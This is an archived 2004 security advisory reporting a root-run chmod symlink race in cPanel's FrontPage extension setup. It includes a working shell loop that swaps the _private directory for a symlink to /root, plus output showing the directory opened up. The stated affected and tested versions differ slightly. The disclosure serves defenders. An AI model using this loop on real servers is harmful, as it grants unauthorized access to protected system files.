what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

cpanelChmod.txt

cpanelChmod.txt
Posted Oct 26, 2004
Authored by Karol Wiesek

cPanel 9.4.1 allows logged in users to change permission of any file to 755.

tags | advisory
SHA-256 | 2dbd2ffc962d08b971f885ce0649ce6e7308777ab6e9b6843abb9792970232ac

cpanelChmod.txt

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Name: cPanel
Vendor URL: http://www.cpanel.net
Author: Karol Wiêsek <appelast@drumnbass.art.pl>
Date: September 30, 2004

Issue:
cPanel allows logged in users to change permission of any file to 755.

Description:
cPanel is a next generation web hosting control panel system. cPanel is
extremely feature rich as well as include an easy to use web based
interface (GUI). cPanel is designed for the end users of your system and
allows them to control everything from adding / removing email accounts
to administering MySQL databases.

Details:
cPanel allows users to turn on/off front fage extensions. It is done
with effective uid of system administrator ( root ). During this special
directory _private is created, and then it is chmod() to 755. Attacker
could remove that directory, and create symlink to any file, thus it
will be chmod() ed.

Exploit:
To exploit this vulnerability just link file/directory you want to chmod
to _private in users public_html, and execute installation of frontpage
extensions.

appelast@only:~/www$ ls -al /root
ls: /root: Brak dostêpu
appelast@only:~/www$ while [ 1 ]; do if [ -d "_private" ]; then rm -fr
_private; ln -s /root _private; break; fi; done
appelast@only:~/www$ ls -al /root | head -3
razem 2212
drwxr-xr-x 28 root root 4096 pa¼ 18 05:49 .
drwx--x--x 22 root root 4096 pa¼ 9 21:56 ..
appelast@only:~/www$

Eploitation could be made via php, cgi, crontab or shell access.

Tested on cPanel 9.9.1-RELEASE-3, and confirmed vulnerable.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFBc5IVFTSet8AbQUQRAgMOAJ43mf1aR44bqgO1W8GWaVK5yYz49wCgh9rV
LlXPr0/6IMjxrPph48yNPHk=
=B94w
-----END PGP SIGNATURE-----
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close